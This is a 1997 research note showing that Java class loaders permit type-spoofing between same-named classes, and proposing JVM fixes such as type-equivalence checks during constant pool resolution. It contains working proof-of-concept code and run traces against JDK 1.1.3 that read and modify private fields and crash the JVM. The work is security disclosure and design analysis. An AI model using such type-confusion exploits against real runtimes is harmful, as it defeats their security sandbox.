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Abstract 

A language is type-safe if the only operations that can be performed on data in the language are those
sanctioned by the type of the data. 

Java is not type-safe, though it was intended to be. 

A Java object may read and modify fields (and invoke methods) private to another object. It may read
and modify internal Java Virtual Machine (JVM) data-structures. It may invoke operations not even
defined for that object, causing completely unpredictable results, including JVM crashes (core dumps).
Thus Java security, which depends strongly on type-safety, is completely compromised.

Java is not type-safe because it allows a very powerful way of organizing the type-space at run-time
(through user-extensible class loaders ). This power can be utilized to write a program that exposes
some flawed design decisions in the Java Virtual Machine. Specifically, one can produce a class A and
an associated ersatz class A’ which can "spoof" A: its name N is the same as A, but it defines members
(fields and methods) arbitrarily differently from A. A "bridge " class B can be defined which delivers to
a class D (for which the name N is associated with A’) an instance of A. D can then operate on this
instance as if it is an instance of A’, thus violating type-safety. 

There are two ways in which the violation of type-safety may be addressed. I identify a necessary and
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sufficient conditions on class loaders such that if all the classloaders definable in a Java program satisfy
this condition, then the program will not have any "bridge" classes at run-time, and hence will not
exhibit this kind of type-spoofing. Thus one may still informally argue that a particular Java program
may not exhibit this kind of type-spoofing, and one may design Java programs in the future to satisfy
this condition. A reading of the informal description of class loaders given in HotJava indicate that it
may satisfy this condition. 

For the language to be type-safe however --- a far more desirable alternative --- either the classloader
interface must be redesigned or the JVM must be fixed. I argue that arbitrary user-definable classloaders
represent a significant conceptual advance in Java, and should not be limited in any way. On the other
hand, I show that the JVM design can be fixed (without any run-time penalites) by fixing the (link-time)
constant pool resolution process to take into account information available at link-time and not just
compile-time. Interestingly, this also points out that Java is actually a rather impoverished language for
programming the Java Virtual Machine -- programs cannot be written in Java which exploit (in a
type-safe way) some of the capabilities of the JVM to manipulate classes loaded in different
class-loaders. 

Further study is needed to determine if there are any other ways in which type-safety can be
compromised in Java. 

This is a revised version of an earlier note, of the same name, that was informally circulated Monday Jul
21, 1997. That version had (mistakenly, it now turns out) argued that some run-time type-checks were
unavoidable for unrestricted class-loader functionality. Thanks to Gilad Bracha, Drew Dean, Kathleen
Fisher, Nevin Heintze, Tim Lindholm, Martin Odersky and Fernando Pereira for useful feedback and
discussion. I remain responsible for the actual contents of this note. 

Section 1. The problem 

Let A and A’ be two different classfiles defining a Java class with the same fully qualified name (FQN)
N. In a running Java Virtual Machine (JVM) J, let A be loaded by a class loader L (possibly the "null"
loader) producing a Class object C and A’ by a class loader L’ producing a Class object C’. Let v’ be a
variable of "type" (we will have more to say later about what is a "type" in Java) N in a class D loaded in
L’. 

Proposition: Any instance t of C can be stored in v’. 

Proposition: J will (attempt to) execute any operation defined in A’ on t. J will (attempt to) read/write
any field defined in A’ as if it existed in t.

This behavior is unexpected. It contradicts the assertion [Lindholm, P 10]: 

Compatibility of the value of a variable with its type is guaranteed by the design of the Java
language ... 

This behavior can be exploited to place the Java Virtual Machine in an "undefined" state in which its
behavior is unpredictable, potentially compromising the Virtual Machine as well as the computer on
which it is running. 



As I show below ( Section 2 ), this behavior is a consequence of the design of the constant pool
resolution process in the Java Virtual Machine. Empirically, I have verified that this behavior is
exhibited by Sun’s JDK 1.1.3 system, on both Solaris and Windows. 

But first let us examine some concrete examples and see what can go wrong. 

A concrete example. 

Let R be a base class that is desired to be spoofed. For simplicity, let it contain just a private field: 

public class R {
 private int r = 1; 
}

Assume that R has been loaded into J through some class loader, L in J. (For simplicity, take L to be the
"system loader". So then it must be the case that this file for R is stored in a directory on CLASSPATH.)

Footnote: After this note was written, I learnt (Lindholm, private communication) that, for some essentially
obscure reasons, the null classloader behaves slightly differently from other classloaders in ways not publically
documented. However, I have since verified that the problems discussed in this note arise when L is taken to be
some non-null loader. 

Assume that it is possible to obtain instances of R through another class, RR, also loaded into L (thus RR
also exists in a directory on CLASSPATH). RR is the crucial "bridge" class --- accessible from within
two different classloaders, it will allow "crossover". For simplicity, RR may be thought of as being
defined as: 

public class RR {
  public R getR() {
    return new R();
  }
}

Arrange now to load an ersatz class R in another classloader L’ in J. It is important that this class have
the same fully qualified name (FQN) as the target class R. However, the signature of this class (its fields
and methods, and their associated types) may be completely arbitrary, and designed to suit the
requirements for spoofing. For simplicity, assume that it is just desired to be able to read/modify the
value of the private variable. Then R can be defined simply as: 

public class R {
  public int r; 
  }
}

Arrange now for your code (say in a class RT, loaded into L’) to receive in a variable, say r (of type R)
an instance of the R class loaded in L. 

This can be accomplished, for instance, by arranging for L’ to "share" the use of the Class object for RR
loaded into L, as follows. The code for loadClass in L’ forwards a request to load RR to L: 

/** A classloader that delegates some loads to the system loader,



 * and serves other requests by reading in from a given directory.
 */ 
public class DelegatingLoader extends LocalClassLoader {
  public DelegatingLoader (String dir) {
    super(dir);
  }

  public synchronized Class loadClass(String name, boolean resolve) 
  throws ClassNotFoundException {
    Class c;
    try {
      if (name.equals("RR") || name.startsWith("java.")) {
        System.out.println("[Loaded " + name + " from system]");
        return this.findSystemClass(name);
      } else 
        return this.loadClassFromFile(name, resolve);
    } catch (Exception d) {
      System.out.println("Exception " + d.toString() + " while loading " + name + " in DelegatingLoader.");
      throw new ClassNotFoundException();
    };
  }
}

Here, LocalClassLoader is an abstract Class loader that knows how to load (through the method
loadClassFromFile) a class file from a local directory. This local directory should not be on the system
path (CLASSFILES). Thus an instance of DelegatingLoader will load all classes other than those named
RR or in java.* packages from the local directory. 

Now, loading RT into L’ will eventually trigger the loading of RR by L’. This request is met by
returning the Class object created by the system loader when it loaded RR. Loading RT will also
eventually trigger the loading of R in L’ --- however, this will cause the ersatz R file to be loaded into
L’. 

Thus the stage is set for type confusion. RT is set to receive an object from RR which it believes to be an
instance of the class described by ersatz R. RR is prepared to send an object to RT which is an instance
of the class described by R. 

Here is a simple definition of RT: 

/** The user class, referencing and using the ersatz class R.
 */ 
public class RT {
  public  static void main() {
    try {
      System.out.println("Hello...");
      RR rr = new RR();
      R r  = rr.getR();
      System.out.println("  r.r is " + r.r + ".");
      r.r = 300960;
      System.out.println("  r.r is set to " + r.r + ".");
      System.out.println("...bye.");
    } catch (Exception e) { 
      System.out.println("Exception " + e.toString() + " in RT.main.");
    }
  }

}



Now all that remains is to ensure that RT is loaded into L’. This can be accomplished through the helper
class Test .

We may now get the trace: 

chit.saraswat.org% java Test RT
[Loaded java.lang.Object from system]
[Loaded java.lang.Exception from system]
[Loaded RT from ersatz/RT.class (996 bytes)]
[Loaded java.lang.System from system]
[Loaded java.io.PrintStream from system]
Hello...
[Loaded RR from system]
[Loaded java.lang.StringBuffer from system]
[Loaded R from ersatz/R.class (238 bytes)]
  r.r is 1.
  r.r is set to 300960.
...bye.
chit.saraswat.org% 

Consequences. 

Intuitively, the JVM is using the information associated with ersatz R to operate on an instance of R. The
ersatz R class specifies the field r to be public, so the JVM allows access and update. 

But the structure of the ersatz R need not be related to R at all. Suppose for instance, ersatz R is defined
as: 

public class R {
  public int r0;
  public String s = "This represents s."; 
  public int r; 
  }
}

Now the JVM believes that the field r lies at a specific offset in the memory representing an instance of
ersatz R --- and this offset may well be different from that representing the actual field r in R. Indeed,
given that the size of an instance of R is smaller than the size of an instance of ersatz R, references
through fields of ersatz R are going to access memory outside the region set aside to represent the
instance of R. We get: 

chit.saraswat.org% java Test RT
[Loaded java.lang.Object from system]
[Loaded java.lang.Exception from system]
[Loaded RT from ersatz/RT.class (996 bytes)]
[Loaded java.lang.System from system]
[Loaded java.io.PrintStream from system]
Hello...
[Loaded RR from system]
[Loaded java.lang.StringBuffer from system]
[Loaded R from ersatz/R.class (544 bytes)]
  r.r is 6946913.
  r.r is set to 300960.
...bye.
chit.saraswat.org% 



Similarly, ersatz R may define methods that do not exist in R, or are in a different position in the method
list, or take a different number of arguments, or take arguments of different types ... causing complete
havoc. For instance, suppose ersatz R is defined as: 

public class R {
  public int r0;
  public String s = "This represents s."; 
  public int r; 
  public void speakUp() {
    System.out.println("I have spoken!");
  }
}

and RT2 is defined as: 

/** Call a method defined on the ersatz class, but not the spoofed class. 
 */
public class RT2 {
  public  static void main() {
    try {
      System.out.println("Hello...");
      RR rr = new RR();
      R r  = rr.getR();
      System.out.println("Now checking to see if a method defined on this loader’s r can be invoked.");
      r.speakUp();
      System.out.println("...bye.");
    } catch (Exception e) {
      System.out.println("Exception " + e.toString() + " in RT2.main.");
    }
  }
}

We get the very interesting looking: 

chit.saraswat.org% java Test RT2
[Loaded java.lang.Object from system]
[Loaded java.lang.Exception from system]
[Loaded RT2 from ersatz/RT2.class (934 bytes)]
[Loaded java.lang.System from system]
[Loaded java.io.PrintStream from system]
Hello...
[Loaded RR from system]
Now checking to see if a method defined on this loader’s r can be invoked.
[Loaded R from ersatz/R.class (544 bytes)]
SIGBUS    10*  bus error
    si_signo [10]: SIGBUS    10*  bus error
    si_errno [0]: Error 0
    si_pre [1]: BUS_ADRERR [addr: 0x443a7]

        stackbase=EFFFF180, stackpointer=EFFFEEC0

Full thread dump:
    "Finalizer thread" (TID:0xee300220, sys_thread_t:0xef320de0, state:R) prio=1
    "Async Garbage Collector" (TID:0xee3001d8, sys_thread_t:0xef350de0, state:R) prio=1
    "Idle thread" (TID:0xee300190, sys_thread_t:0xef380de0, state:R) prio=0
    "Clock" (TID:0xee3000d0, sys_thread_t:0xef3b0de0, state:CW) prio=12
    "main" (TID:0xee3000a8, sys_thread_t:0x40e08, state:R) prio=5 *current thread*
        RT2.main(RT2.java:9)
        Test.doIt(Test.java:17)



        Test.main(Test.java:24)
Monitor Cache Dump:
Registered Monitor Dump:
    Verifier lock: " "
    Thread queue lock: ""
    Name and type hash table lock: 
    String intern lock: 
    JNI pinning lock: 
    JNI global reference lock: 
    BinClass lock: 
    Class loading lock: 
    Java stack lock: 
    Pre rewrite lock: 
    Heap lock: 
    Has finalization queue lock: 
    Finalize me queue lock: 
    Monitor IO lock: 
    Child death monitor: 
    Event monitor: 
    I/O monitor: 
    Alarm monitor: 
        Waiting to be notified:
            "Clock"
    Sbrk lock: 
    Monitor cache expansion lock: 
    Monitor registry: owner "main" (0x40e08, 1 entry)
Thread Alarm Q:
Abort (core dumped)
chit.saraswat.org% 

A more insidious example

Here is a more "natural" example of how such a problem may be triggered. Suppose that a loader L
"exports" the service offered by a class RR to other loaders, including L’. RR provides a public method
that needs an instance of R. But it so happens that L’, unaware of the dependency of RR on R, also loads
R (the ersatz R). Now any other class RT in L’ that wants to use RR will end up sending an instance of
its R, thereby triggering the incompatibility. 

Can an applet exploit type-spoofing?

To answer this question, let us develop some terminology. Let J be some running JVM, initialized with
some program P, and accepting inputs and delivering outputs to its environment. In the following, we
consider class objects in J (i.e., instances of java.lang.Class) to represent types in J. For any such
object o, cl(o) stands for the loader object that created o (i.e. who’s invocation of defineClass created
o). We say that cl(o) defines o. The constant pool of o, cp(o), is the constant pool of the class file that
was used by cl(o) to create o. n(o) is the fully qualified name of the class whose classfile was read by
cl(o) to create o. 

Over the course of execution of J, a loader l may be presented with requests by the JVM to load a class,
emanating from its desire to do constant resolution. The JVM guarantees that, as part of constant
resolution, for any name n, it will call l at most once to load a class with name n. Thus at any given
instant in the execution of J, l will have responded to some finite set of requests, by either returning a
valid class object, or refusing to define a class object. (A loader l may also have refused to terminate on
some request, but since we are only concerned with safety properties, we shall ignore that possibility.)



We shall model this by associating with l a mapping m: m(l) from the set dom(l) of names in the
domain of l to class objects. 

A name n is said to be foreign for l if n is in dom(l) and cl(m(l)(n)) is different from l. 

Definition[a refers to b] Let a and b be two class objects in J. Say that a refers to b if n(b) occurs in a’s
constant pool, and m(cl(a))(n(b)) is defined and equals b. That is, a refers to b if the code for a refers
to the name of b, and the name of b is resolved by the loader for a into b. 

Definition[Bridge] Let J be a running JVM. A bridge in J is a set of four class objects (r, a’, s, a)
such that:   (1)  cl(s) = cl(a) =/= cl(r) = cl(a’) (2) r refers to s (3) r refers to a’ (4) s refers to
a and (5)  n(a) = n(a’). r is said to be the receiver of the bridge, a’ the spoofer, s the sender, and a
the spoofee. 

Definition[Bridge-safe] A JVM J is bridge-safe if at no time during its execution (and for any input
during its execution) may a bridge come into existence. 

Let us develop some general conditions on (class) loaders that will be necessary and sufficient to prevent
such bridges from coming into existence. 

Definition[Isolating foreigners] A loader l isolates foreigners if for every name n foreign for l every
class name q in the constantpool of m(l)(n) (and in the domain of l and cl(m(l)(n))) is foreign for l.

In the example discussed earlier, no instance of DelegationLoader isolates foreigners, since the name R
occurring in the constantpool of a foreign name, RR, is not foreign. 

Proposition. Let J be a JVM. J is bridge-safe iff every class loader that can come into existence during
its execution isolates foreigners. 

Informal proof. Suppose a bridge (r, a’, s, a) exists. Then, n(s) is a foreigner for cl(r). Assume
cl(r) isolates foreigners. Then n(a) is foreign for cl(r) . But n(a) = n(a’) and n(a’) is not foreign
for cl(r) (it is mapped to a’). In the other direction assume there is a loader l that does not isolate
foreigners. Let n be a name foreign to l, and name q be in the constant pool of m(l)(n), and q be not
foreign to l. Construct a class r in l that refers to n and q. Then each of r, m(l)(q), m(l)(n),
m(cl(m(l)(n)))(q) exists, and taken together constitute a bridge. End of proof.

In general, proving for any arbitrary class loader that it is bridge-safe may be very difficult -- there may
not be enough data available, e.g. about the constantpools of the foreign classes. However, some general
strategies can be followed for designing loaders that isolate foreigners. 

Applet classloader 

For instance, a loader constructed as follows will always isolate foreigners: It divides its domain into
two disjoint parts, the "core" domain, cdom(l) and the "user" domain, udom(l). All and only the names
in the core domain are foreign. Now any such l will isolate foreigners provided that it is the case that for
every n in the core domain of l, cp(m(l)(n)) is a subset of cdom(l). Again, in general there may not
be enough data available to make this decision --- but in practice, one would write the "core classes" (the
union, across all l, of the sets obtained by mapping m(l) across cdom(l)) in such a way that they only



reference core classes. Under such a design practice, the loaders would isolate foreigners. Note however,
that each time a new class was added to the core, one would have to verify that it references only core
classes. 

From the informal description of the classloaders given in HotJava, it appears that they are written using
this methodology. Thus, a user may never be unconditionally certain that a particular HotJava browser
running on his desktop is bridge-safe --- but he may be certain under the (reasonable) assumption that
the core classes already on his disk (and any other core class to be added later) satisfy the property that
they only reference core classes. 

Indirect bridges are already ruled out. 

Before leaving this topic, I want to point out that another way of causing type-spoofing, apparently
described earlier by David Hopgood, does not work. (I should say "does not work anymore".) Given that
a "direct" bridge is not possible for loaders that isolate foreigners, one may try instead to construct an
indirect bridge as follows. Consider s and r, such that cl(s) is distinct from cl(r). Find an
intermediary class i, such that cl(i) is distinct from cl(s) and cl(r). Thus i is foreign to both s and
r. Pick a name q in the domain of cl(s) and cl(r). Define a in cl(s) to inherit from (the type
associated with) i, and a’ in cl(r) to inherit from i. Now communicate from s an instance of q
typecast to i, receive it at r at type i, coerce it to type q, and use it to spoof. 

For instance, concretely, two applets S and R may work in tandem to launch this attack. Both will be
loaded into their own loaders. Both define a type, say RStream to extend java.lang.InputStream,
intending to use java.lang.System.in as an unwitting conduit between them: S creates an instance of
its own RStream, and stores it in System.in. When the user visits the page containing the applet R, R
reads System.in, casts the result to (ersatz) RStream, and proceeds to wreak havoc. 

The attack fails because the explicit cast at the receiving end generates a ClassCastException
[Lindholm P. 175]: it checks that the class that the message is an instance of identical to the class being
typecast to, or inherits from it. So the checkcast JVM instruction checks the "run-time type" as it
should. 

Section 2. How does this happen? 

Why does type-spoofing work? What is happening in the JVM? 

On an abstract note, the heart of the problem lies in the somewhat different views of "types" taken by the
Java compiler and the Java Virtual Machine. The reality in the JVM is that multiple class files with the
same name and arbitrarily different fields and methods can be simultaneously loaded into different
classloaders. Therefore, a type should be a pair (FQN, CL) of a name and the classloader in which the
corresponding class was loaded. (Primitive types can be considered to be identical across all
classloaders.) Thus two classes have the type iff they have the same FQN and the same CL. Though this
is stated explicitly in [Lindholm P. 24, Sec 2.8.1], very surprisingly neither the Java compiler, nor the
JVM build this more refined notion of types fully into their operation. 

Current scope or base scope? 



If a type is to be thought of as the pair (FQN, CL), then the huge problem arises of how to make sense
of [Gosling 96] ! Throughout the book, a type is talked of as if it is an FQN. There are clearly two ways
of obtaining an (FQN, CL) pair from an FQN --- one may either assume that an FQN stands for (FQN, CL)
where CL is the "current" classloader (I will call this current scope ), or one may assume FQN stands for
(FQN, null), where null is the "null" or the system classloader (I will call this base scope ). 

It appears that [Gosling 96] intends different interpretations in different places. 

For instance, [Gosling 96, p 40] says: 

The standard class Object is a superclass (Sec 8.1) of all other classes. A variable of type
Object can hold a reference to any object, whether it is an instance of a class or an array
(Sec 10). 

Which type Object? The one associated with the class (java.lang.)Object loaded in the current
classloader (and hence in every class loader) (current scope), or the one loaded in the null classloader
(base scope)? Experimentally I have verified (in JDK 1.1.3) that an array object can be assigned to a
variable with typename java.lang.Object, even though at runtime the class java.lang.Object
loaded into the current classloader is different from the class java.lang.Object loaded in the null
classloader. So it seems that current scope was intended. However, we have on [Gosling 96, p 466]: 

There is no public constructor for the class Class. The Java Virtual Machine automatically
constructs Class objects as classes are loaded; such objects cannot be created by user
programs. 

Which type Class? Current scope or base? Experimentally I have verified that (in JDK 1.1.3) the base
interpretation is intended in this case: always the Class objects created are instances of the Class class
loaded in the null classloader. 

It seems to me that the designers intended current scope for "user-defined" classes (and this is how the
JVM is designed). Clearly, the notion of multiple classloaders does not make sense otherwise. (You
want the classnames in the applet code loaded to refer to the classes loaded into the same loader.)
However it seems that base scope is intended for some predefined "system" classes (this notion is not
explicitly defined in the book, but implicitly referred to) such as java.lang.Class and
java.lang.String.

In the interests of cleanliness of system design it seems to me that current scope should be adopted
uniformly. One very attractive property of such a proposal would be that it would allow different object
systems, with very different behaviors to be implemented very easily within Java --- merely by changing
the basic classes loaded into a given loader! --- increasing its attraction as a language in which to
experiment with different OO language designs.

This confusion in thinking leads to the problem highlighted in this paper. To see how, let us turn to an
analysis of how Java links and runs code. 

Dynamic linking in Java. 

To support dynamic linking, the class file corresponding to a Java source file retains (in its constant



pool) the symbolic FQNs of the classes, interfaces, fields, methods (and their typenames) in its
byte-code. For instance, a method invocation on an object is associated in the class file with the name of
the method being invoked, the name of the class containing the declaration of the method, and the
descriptor of the method, which captures the name (and sequence) of the argument typenames and the
return typenames of the method. 

At run-time operations involving these symbolic references are converted into operations involving
actual offsets into field and method-tables through a process known as constant pool resolution (CPR)
[Lindholm Chapter 5]. 

Footnote: The opcodes which can initiate CPR activity are: getfield, getstatic (getting the value of instance
and static fields); putfield, putstatic and aastore (setting the value of instance and static fields, and entries
in an array); and invokeinterface, invokespecial, invokestatic (invoking constructors and methods). 

Now consider what happens at run-time when a method m on class c, with descriptor d is invoked on
object o (using the invokevirtual instruction, [Lindholm P267-8]. (Similar considerations apply to
other instructions concerned with reading/writing fields, or invoking methods.) The associated class
loader is asked to load the class c. (This may involve, recursively, the loading of other classes, e.g. the
superclass of c.)

Footnote: Note that the code loaded by the class loader in response to this request may have no relationship
with the code used by the compiler to compile this class. No "compiled-with" information is stored by the
compiler in the class file for use at link-time. 

Once that is accomplished, d is matched against the descriptors of methods defined in the just loaded
class (this is called resolving the method) [Lindholm 97, p148]. 

If the referenced method does not exist in the specified class or interface, field resolution
throws a NoSuchMethodError. 

From the description it is not completely clear how it is determined that the referenced method does not
exist in the specified class or interface. The most natural assumption seems to be that two methods are
considered "equal" if they are name-equivalent , i.e., they have the same name and the same method
descriptor, which records the sequence of FQNs for the arguments and the FQN for the result.

An exception is thrown if there is no such method. The result of resolving is an index i into a method
table. 

Note that this entire process involves classes loaded by the current class loader. These classes are
supposed to be the runtime equivalents of the classes used by the compiler when creating the class file,
so this process is analogous to what a compiler would have done in a statically-linked language: identify
the layout of the class on which a method is being invoked, and determine the offset of the method in it.
Note that: 

No "run-time" information (e.g., the actual Class object corresponding to o) is used in
this process. 

Now that this offset has been determined, it is assumed that this is a valid offset in the method table of
the actual (run-time) class of the object. The method description assumed to be at that offset is then



executed [Lindholm 97, p267-8] 

The constant pool entry representing the resolved method includes an unsigned index into
the method table of the resolved class and an unsigned byte nargs that must not be zero. 

The objectref  must be of type reference. The index is used as an index into the method table
of the class of the type of objectref . 

Footnote: On first glance, it may seem that the index k could equally have been used to index into the method
table M[B] of the resolved class B . However, that would be incorrect. The object being operated upon may
actually be an instance of a subtype C of the "compile-time" type B . M[C].k , the entry at index k in the
method table for C may thus contain a pointer to a piece of code that overrides M[B].k , and it is M[C].k that
should execute, per the language rules detailed in [Gosling 96].

For this technique to work, it is crucial that the index k computed at link-time from the compile-time typename
B point to the "same" method in M[C] . Therefore, the method lookup operation --- which determines from a
method signature and an object the piece of code of that signature that should run on the object --- can be
optimized away at compile-time, as is standard for statically-typed OO languages. However, the notion of
"method tables" --- and how they might be computed, and how method lookup might be optimized away, and
the constraints that it imposes on method and field layout --- is not discussed anywhere in [Lindholm 97], a
most regrettable oversight, particularly so because it will turn out to be quite related to a proposed fix below. 

Here is where the problem becomes manifest: The above scheme is a correct implementation strategy
exactly under the assumption that the class of the type of objectref  is c, the just-resolved class. As we
have seen, this assumption is not always true. 

Therefore, type-spoofing arises as a consequence of the particular way in which JVM instructions have
been defined. Hence it should arise in any valid implementation of the JVM spec. In addition, Sun’s
JVM implementation uses certain "quick" instructions to rewrite the opcode corresponding to the
invocation with the information obtained from method resolution. This is crucial to avoid the cost of
symbolic lookup on every member access, and it makes sense under the assumption above, since the
information obtained from member resolution is invariant under any operations on the JVM (e.g. the
JVM does not allow classes to be reloaded). But if the assumption is invalid for a particular call, then the
"quick" instructions merely speed up an erroneous process. 

However, it is clear that any reasonable implementation must work to avoid incurring the constant pool
resolution cost on every member access. Therefore, an important consideration in evaluating schemes to
fix the type-spoofing problem has to be its support for "quick" schemes. 

Section 3. How can it be fixed? 

This particular failure of type-safety may be fixed in various ways. One may consider enriching the
notion of types that the compiler works with to include also some static representation of class loader
identity. However, rather than modifying the Java language, in the following I consider three ideas that
tackle the problem of repairing type-safety for Java at the level of the JVM. 

Allow only one class per FQN to be loaded in. 

Type-spoofing cannot happen as long as every class loader L responds to a loadClass request by
performing a defineClass on some appropriately obtained bytes. Consequently, L will be asked to



resolve any type references within the class just loaded, and so on --- thus there can be no possibility of
an instance coming into L’s world (that is, into the state of an object that is an instance of a class loaded
by L) which is not an instance of a class loaded in L. And since L, like every other class loader,
guarantees that there is at most one loaded classfile for every FQN, there can be no spoofing. 

In a related vein, one may mandate a global consistency condition across all classloaders: for any given
FQN, at most one class file can be loaded into a JVM. This can be achieved, for instance, by generating
an exception if any class loader attempts to call a defineClass for a FQN for which a defineClass has
already been called (regardless of the loader involved). 

This proposal has some merits. The notion of class loaders still makes sense --- a particular class loader
can still be used to enforce "name space access" policies. Constant pool resolution can still be used to
trigger a request to the class loader to load a class --- which a class loader is free to deny or service. 

However, it will also make impossible some rather interesting uses of class loaders that are currently
permitted. Currently, it turns out to be possible to define a class loader which can redefine system
objects, e.g. java.lang.Object, for the classes loaded into it. This is of great use in cases (e.g. in the
design of Matrix) where it is desired to run arbitrary Java code unchanged, while guaranteeing some
additional properties (e.g. that the number of objects created by the code is bounded). However this can
only be accomplished if there are two classes with the FQN java.lang.Object loaded into the JVM: 
one is used in the name-space for the application to provide the "controlled" version of the type, and the
other is used in some other loader to provide the primordial class from which all other classes are
constructed. 

Footnote: Some care has to be taken in compiling these classes since the Java compiler --- unaware that these two
classes with the same FQN are going to be loaded into different class loaders ... it has no conception even of different
class loaders!! --- may erroneously claim type circularity. A simple solution is to transform the classfile generated and
splice in the correct superclass manually.)

Schemes for security in a similar vein are also suggested in [Wallach 97]. 

Modifying the semantics of the JVM. 

We consider now two proposals to fix this problem by fixing the JVM. 

Check for type-spoofing at run-time. 

Java is often said to have a "static" type-system. A more accurate term would be "link-time" type
system, since many type checks are delayed till link-time (and almost no type-checks are performed at
run-time; here by run-time I mean the second or subsequent invocation of an instruction). For instance,
as discussed above, symbolic references to methods are resolved into concrete offsets into the method
table only at link-time, after constant pool resolution. If the method does not exist, an exception is
thrown. 

One way of fixing the type-spoofing problem is to perform the check for type-safety at runtime. Thus
instructions such as invokevirtual should check that the Class of the object being operated upon is in
fact the object generated by loading the classfile obtained by resolving the type. If not, then an
IllegalReferenceException should be thrown.In essence it should not be possible for a class like RT
to use static types to operate on an instance of R --- in some sense the type corresponding to R should be



considered hidden in L’ by ersatz R. (However, it should continue to be possible for RT to operate on an
instance of R through reflection (that is, using the class object corresponding to R). Such a use is
type-safe since only the methods defined in R can be used to operate on the instances of R.)

A natural question arises whether this run-time check can be reduced to a link-time check. That is,
would it work to just check the use of the particular invokevirtual instruction first time it is
executed? The intuition would be that if the first time around the Class of the object being operated
upon is identical to the class obtained by resolving the type, the the instruction could be rewritten to the
quick form of the instruction. Subsequently the quick version would not need to perform the runtime
check. 

This scheme cannot work, however, for there may be more than one sources for the spoofed type. Using
earlier terminology, there may be multiple bridges, sharing the same receiving endpoint. Put the
expression in a method call, so now there is no link-time way of knowing whether or not all or none of
the executions of invokevirtual will generate errors: 

public callSpeakUp(R r) {
  r.speakUp();
}

quick instructions may still be of some use however: Check if the runtime class is the expected class, if
so use the offset stored in the quick instruction, else throw an exception.

Check for type-equivalence not name-equivalence 

Run-time performance is a big drawback of the scheme given above, though the additional flexibility of
run-time typing is considerable. 

However, let us ask ourselves the question: why did the need for run-time type-checking arise in the first
place? Let us go back and examine the canonical program:

public class RT {
  public  static void main() {
    try {
      System.out.println("Hello...");
      RR rr = new RR();
      R r  = rr.getR();
      System.out.println("  r.r is " + r.r + ".");
      r.r = 300960;
      System.out.println("  r.r is set to " + r.r + ".");
      System.out.println("...bye.");
    } catch (Exception e) { 
      System.out.println("Exception " + e.toString() + " in RT.main.");
    }
  }

} 

If we assume that this program text is to be understood with FQNs resolved using current scope, then it
is clear that the rr.get(R) should return something of type (R,L’), where L’ is the classloader in
which RT is loaded. However, the method getR defined in RR (which is of type (RR,L) actually returns
something of type (R,L), a different type! Therefore the method that is being looked for here, namely a



method named getR of type () -> (R,L’) does not actually exist in class (RR,L’) (which is the same
as (RR,L)). Therefore method resolution should fail , and a NoSuchMethodError should be thrown.

This therefore is a general fix for this problem: use type-equivalence instead of name-equivalence when
resolving methods and fields. Instead of comparing equality of method descriptors, resolve the names
that occur in the descriptors, and consider the descriptors to be the same only if the resolved names are
identical. Thus, in this example, compare the signatures () -> (R, L) and () -> (R,L’) instead of
the descriptors () -> R and () -> R . 

We do not yet have a formal semantics for the JVM (though a simple constraint-based typing scheme for
Java and the JVM is being developed for which it should be easy to establish soundness). Here we can
only argue informally for correctness. Intuitively, with this fix, we will have the property that any
location l with typename N (e.g. local variable) created from a class C can only store objects whose type
is (N, L) where L is the classloader that C was loaded in. Thus it is as if the code executing at run-time
is obtained from the code at compile-time by uniformly replacing the names N by the types (N,L). If at
compile-time the constraints on types generated from a class were consistent when type-names were
substituted for types, then at run-time these constraints should be consistent with (name, CL) pairs
being substituted for the types --- or else a linkage error would occur. (One can think of these errors
being discovered through propagation of equality constraints between types; when a classloader L
forwards a request to load a class C to a loader L’, it is as if it is publishing the constraint (C,L) =
(C,L’). Link time type-checking is merely propagating the consequences of a conjunction of such
constraints.) Thus compile-time type-consistency should "parametrically" translate to run-time
type-consistency. This argument needs to be made precise.

An attractive property of this fix is that there is no run-time cost, since constant pool resolution is a
link-time activity. Thus this appears to be the appropriate fix for this problem. 

Implications for method table computation. 

An important implication of uniformly using type-equivalence rather than name-equivalence is worth
describing explicitly, since it highlights some subtle interactions. 

Consider the code: 

 
class B {
  void m(T a) {..code1...}
}
class C extends B {
  void m(T a) {...code2...}
}
class D {
 void r(B b) {
   b.m(new T());
  }
 void s() {
  r(new C());
 }
}

Now consider two class loaders Land L’ such that (in our earlier terminology) cl(m(L)(B))=L’,
cl(m(L)(C))=L and further cl(m(L)(T)) =/= cl(m(L’)(T)). That is, B and C are loaded into



different class loaders, and the two classloaders differ on how they interpret T. Suppose D is loaded in
L’. In this case, the call to b.m will resolve at type (T, L’) -> void and will obtain the offset
corresponding to code1. Suppose D is loaded in L. In this case, the resolution of b.m at type (T, L) ->
void will yield a MethodNotFoundError. In neither case will code2 be considered to have overridden
code1 . This is the case even if at runtime, as in the case of the call from within s, the actual argument
passed into r is an instance of a class with typename C. 

An implication of this example is that type information, rather than just typename information, must be
taken into account at the time that the method table for a class is built. In detail, when a loader L is ready
to create an instance of class C that inherits from B, L must determine the method table of C given that of
B. In order to do so, the typenames that occur in the arguments of methods defined in C must be
resolved, so that it can be determined whether L and the classloader for B agree on their interpretation.
(Two classloaders L and L’ agree on the interpretations of a name N if they both map N to the same
Class object.)

The requirement to resolve method typenames when a method table is to be constructed for a class may
be considered somewhat onerous. It requires "preloading" some classes (the classes corresponding to
argument types of methods). Three points are to be made here. 

First, preloading is needed only if the class is not already loaded --- as more and more classes get loaded
over time, the number of classes that would need to be preloaded should decrease.

Second, preloading is necessary only if the parent class has been loaded into a different class loader. If it
is loaded into the same loader, then by definition the types associated with the same name in the
constant pools of both classes will be the same. For most (perhaps even almost all) classes, this will be
the case. 

Third, it is not necessary to perform any of the operations with the preloaded code (e.g. preparation,
initializaton, verification etc). Rather, an even weaker notion than interpretation-equivalence ---
definer-equivalence --- can be used. For a classloader L and name N , define D(L, N) to be the
classloader whose defineClass operation will yield the Class object that L will return when asked to
resolve N. Then, all that is needed is to determine, for each relevant N, whether D(L, N) = D(L’, N). 

As an aside, it is not very difficult to design a protocol between the JVM and the classloader which
allows the JVM to deduce definer-equivalence information in a reliable way. When the JVM needs to
obtain D(L, N) information, it calls a (user-definable) 

  java.lang.ClassLoader definingLoader(String n)

method on java.lang.ClassLoader object L with argument N, recording the result in an internal table.
This table may now be used to resolve definer-equivalence questions. Subsequently, when the JVM has
need (e.g. through the constant pool resolution process), to resolve N, it will call 

 Byte[] loadBytes(String)

operation on the object previously recorded, and perform an internal defineClass operation to obtain
the class object. 

Acknowledgement: Thanks to Gilad Bracha for clarifying discussions on this point, and for suggesting that an



explicit discussion here would be appropriate. 

Implications for name space coordination. 

